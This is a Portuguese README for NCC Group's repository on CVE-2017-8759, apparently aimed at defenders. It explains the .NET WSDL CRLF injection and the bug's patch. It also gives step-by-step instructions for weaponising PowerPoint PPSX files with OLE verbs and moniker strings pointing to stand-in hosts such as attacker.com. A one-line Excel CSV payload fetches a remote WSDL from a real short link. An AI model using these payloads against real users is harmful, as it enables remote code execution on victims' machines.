nccgroup/cve-2017-8759NCC Group's analysis and exploitation of CVE-2017-8759 along with further refinements
Este repositório contém exemplos de exploração para CVE-2017-8759 para Microsoft PowerPoint, juntamente com uma descrição de como vulnerabilidades semelhantes foram e podem ser exploradas usando as mesmas técnicas.
O objetivo de publicar este repositório é destacar técnicas alternativas de exploração que os defensores podem atualmente desconhecer. Ao destacar essas técnicas alternativas, esperamos permitir que os defensores implementem deteção robusta e evitem falsos positivos (no caso de identificar erroneamente outras explorações de moniker como CVE-2017-0199) e falsos negativos (quando apenas as deteções de RTF são focadas).
Em abril, quando ouvi a notícia de que uma nova vulnerabilidade não corrigida estava a ser explorada na natureza, tentei recriar a exploração para que regras de deteção pudessem ser criadas antes da vulnerabilidade se tornar pública. No entanto, na altura, tudo o que tinha era a descrição da vulnerabilidade dos posts do blog da FireEye e da McAfee. Devido à falta de detalhes públicos, isso levou-me a acabar por explorar a vulnerabilidade usando (o que acabou por ser) um método completamente diferente do usado pela exploração "RTF URL Moniker" vista na natureza.
Cerca de um mês depois, Haifei Li destacou a segunda vulnerabilidade (também conhecida como "PPSX Script Moniker") na sua palestra no SyScan360, que ele tinha identificado e reportado em janeiro de 2017. Esta também foi corrigida sob a mesma correção CVE-2017-0199, mas foi explorada (tanto pelo autor, como mais tarde na natureza) usando o formato de ficheiro PPSX. Neste ponto, ainda não tenho conhecimento de ataques reais que tenham usado o bug do URL moniker via PPSX - no entanto, devido a ambos os bugs serem corrigidos sob o mesmo CVE, houve (e ainda há) alguma confusão em torno da deteção dessas explorações (mais sobre isto adiante).
Avançando rapidamente para setembro de 2017, a FireEye descobriu mais uma vulnerabilidade que estava a usar o formato RTF no Microsoft Word. Isso levou-me a revisitar a minha exploração anterior "PPSX URL Moniker" para investigar se o novo bug "SOAP moniker" também era explorável usando a mesma técnica PPSX.
Como mencionado acima, a vulnerabilidade anterior (CVE-2017-0199) era na verdade duas vulnerabilidades separadas, que foram corrigidas pela Microsoft sob o mesmo número CVE. A primeira (também conhecida como o bug "URL moniker") foi explorada usando RTF, no entanto a segunda (também conhecida como o bug "script moniker") usou uma técnica completamente diferente e foi explorada usando o formato OOXML, especificamente PPSX.
Como também mencionado anteriormente, a técnica OOXML não é específica da vulnerabilidade script moniker e pode ser usada para explorar as vulnerabilidades "URL moniker", "Script moniker" e a nova "SOAP moniker".
A exploração em OOXML é bastante direta e aproveita alguns truques para fazer com que o objeto vulnerável seja ativado automaticamente. Primeiro, abordarei a exploração do URL moniker e depois explicarei como pode ser atualizada para funcionar com os monikers script e soap (e potencialmente mais no futuro).
Primeiro, deve ser incorporado um link para um ficheiro (referido como StdOleLink, ou OLE2Link). Usei um link para um ficheiro PowerPoint na minha exploração - como mostrado abaixo. Isto é necessário mais tarde para ativar o moniker.
Depois de colocar o link, o caminho precisa ser modificado para conter a string do moniker. No caso do bug "URL moniker", isto é tão simples quanto adicionar um URL diretamente para um ficheiro HTA (ou seja, "http://attacker.com/evil.hta". Para a versão Script moniker, pode usar a string "script:https://attacker.com/evil.sct". O caminho do ficheiro para o objeto vinculado é armazenado na seguinte localização:
ppt\slides\_rels\slide1.xml.rels
Simplesmente alterar isto para uma string de moniker é suficiente para desencadear a vulnerabilidade quando o objeto vinculado é ativado. No entanto, isto não acontece automaticamente a menos que use outro truque.
Para ativar automaticamente o objeto, pode usar o que é chamado de "OLE Verb". Simplificando, isso faz com que o PowerPoint "ative" o objeto, chamando o método IMoniker::BindToObject(), resultando na eventual execução do seu código (dependendo do moniker, diferentes caminhos são seguidos após isso).
Para usar um OLE Verb, basta selecionar o objeto incorporado e ir para:
Animations -> Add Animation -> OLE Action Verbs -> Open
Assim que a animação OLE Verb for criada, pode selecionar "Start: with previous" para garantir que o objeto seja ativado assim que a apresentação de slides for iniciada.
Neste ponto, se optar por guardar o documento como PPTX e abri-lo, será apresentado um prompt para atualizar os links. Isto é indesejável num cenário de exploração.
Para contornar isso, pode simplesmente guardar o ficheiro como PPSX (apresentação de slides do PowerPoint). Isso fará com que a apresentação de slides seja iniciada automaticamente ao abrir (e assim desencadear o OLE Verb para executar o seu código).
Conforme descrito no post do blog da FireEye, a vulnerabilidade está na verdade no .NET framework e não no Office em si. Isto deve-se a um problema de injeção de código ao analisar um ficheiro WSDL contendo múltiplas definições de endereço. Se uma sequência CRLF for injetada, é possível adicionar código arbitrário ao ficheiro c# gerado, que é posteriormente compilado numa DLL e carregado pela aplicação Office.
O bug em si está presente no método IsValidUrl na classe WsdlParser de System.Runtime.Remoting. Antes da correção CVE-2017-8759, este método não verifica a existência de caracteres CRLF e simplesmente devolve a string não saneada (depois de garantir que a string está devidamente entre aspas), que é então escrita num ficheiro .cs para compilação pelo csc.exe. Isto significa que se um atacante passar um URL contendo \r\n, pode injetar código arbitrário no ficheiro C# gerado. A razão pela qual a injeção CRLF funciona é porque, normalmente, quando um ficheiro WSDL é analisado contendo múltiplas definições de endereço, o método PrintClientProxy tentará comentar as definições subsequentes, como mostrado abaixo.
IsValidUrl não corrigido:
PrintClientProxy:
O problema aqui é que IsValidUrl ainda é chamado no URL de endereço secundário antes de o anexar à linha comentada. Se um atacante adicionar caracteres CRLF numa segunda definição de endereço, quando o código é analisado por IsValidUrl, podem sair da linha comentada e injetar o seu próprio código C#.
Após a correção CVE-2017-8759, a classe WsdlParser agora contém um novo método chamado TransliterateString. Agora, quando IsValidUrl é chamado, o código primeiro verifica se o booleano AppSettings.AllowUnsanitizedWSDLUrls está definido. Se estiver definido como true, o código segue o mesmo caminho que antes da correção (permitindo injeção CRLF). No entanto, se estiver definido como false, o novo método TransliterateString é chamado. Este novo método simplesmente codifica quaisquer caracteres não alfabéticos como unicode escapado, garantindo assim que os caracteres de nova linha não podem ser injetados.
IsValidUrl corrigido:
TransliterateString:
Para demonstrar a correção, criei um ambiente de teste simples em C# e tentei analisar uma string contendo caracteres CRLF. O resultado disto é mostrado abaixo. Observe que quando o método corrigido é chamado e AllowUnsanitizedWSDLUrls está definido como false, a string é agora codificada.
Ao investigar como explorar esta vulnerabilidade, criei um ambiente de teste para testar a execução de código fora do Office. Usei JScript juntamente com o método GetObject para isso, no entanto poderia usar soapsuds.exe. Isto foi testado com o ficheiro WSDL da amostra de malware para investigar como funcionava e confirmar a vulnerabilidade.
Assim que a exploração funcionou com GetObject, simplesmente modifiquei o ficheiro rels como mostrado anteriormente para incluir um moniker soap, na forma de "soap:wsdl=http://attacker.com/evil.whatever".
Depois de criar a exploração, carreguei-a no Virus Total (como fiz com amostras anteriores) e tive alguns resultados surpreendentes. Acabou por ser detetado por apenas um motor AV e foi falsamente identificado como CVE-2017-0199. Outra amostra que carreguei também parecia estar marcada como CVE-2017-0199. Isto parece compreensível devido às semelhanças que partilha com a(s) exploração(ões) anterior(es), no entanto há alguma preocupação de que isto possa levar a confusão ou, no pior caso, levar a que explorações de moniker recém-descobertas sejam ignoradas por serem descartadas como uma vulnerabilidade antiga e corrigida.
Primeiro, inicie um servidor web localmente, na mesma pasta dos ficheiros de exploração:
python -m SimpleHTTPServer 80
Agora abra o ficheiro exploit.ppsx. Se tudo correr bem, deverá ver o PowerPoint buscar tanto logo.png como w00t.hta do seu servidor de ficheiros local, e calc.exe será executado.
Depois de publicar sobre a exploração PPSX no Twitter, Jacob Soo entrou em contacto comigo e sugeriu que tentasse explorar a vulnerabilidade no Microsoft Excel. Tentei e, de facto, ele tinha razão - consegui executar um calc.exe com um único prompt.
Isto é interessante, como foi apontado anteriormente - ficheiros CSV (e SLK) não acionam o modo protegido. Isto significa que o número de prompts apresentados a um utilizador quando recebe um ficheiro RTF, PPSX ou CSV/SLK de uma localização na internet é exatamente o mesmo (devido ao primeiro acionar a vista protegida). Além disso, por serem texto simples e geralmente relativamente inócuos, os ficheiros CSV muitas vezes passam pelas defesas de perímetro (como proxies web ou filtros de spam de email).
Explorar este bug no Excel é tão simples quanto incluir um link para o ficheiro WSDL. Note que no exemplo abaixo, estamos a usar o ProgID "GC" (simplesmente porque foi o mais curto que encontrei), no entanto pode ser qualquer ProgID válido para ativar o moniker.
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
Guardar a string acima como CSV é suficiente para explorar a vulnerabilidade - curta o suficiente para tweetar! Além disso, devido à sua brevidade, é mais difícil (embora obviamente não impossível) criar assinaturas de deteção e, portanto, sinto que vale a pena destacar aos defensores para que ataques baseados em Excel possam ser identificados no futuro.
A Microsoft lançou uma correção para esta vulnerabilidade em 12/09/2017.
Algumas regras Yara para variantes de CVE-2017-8759 foram publicadas por Florian Roth e Security Doggo.
Também criei: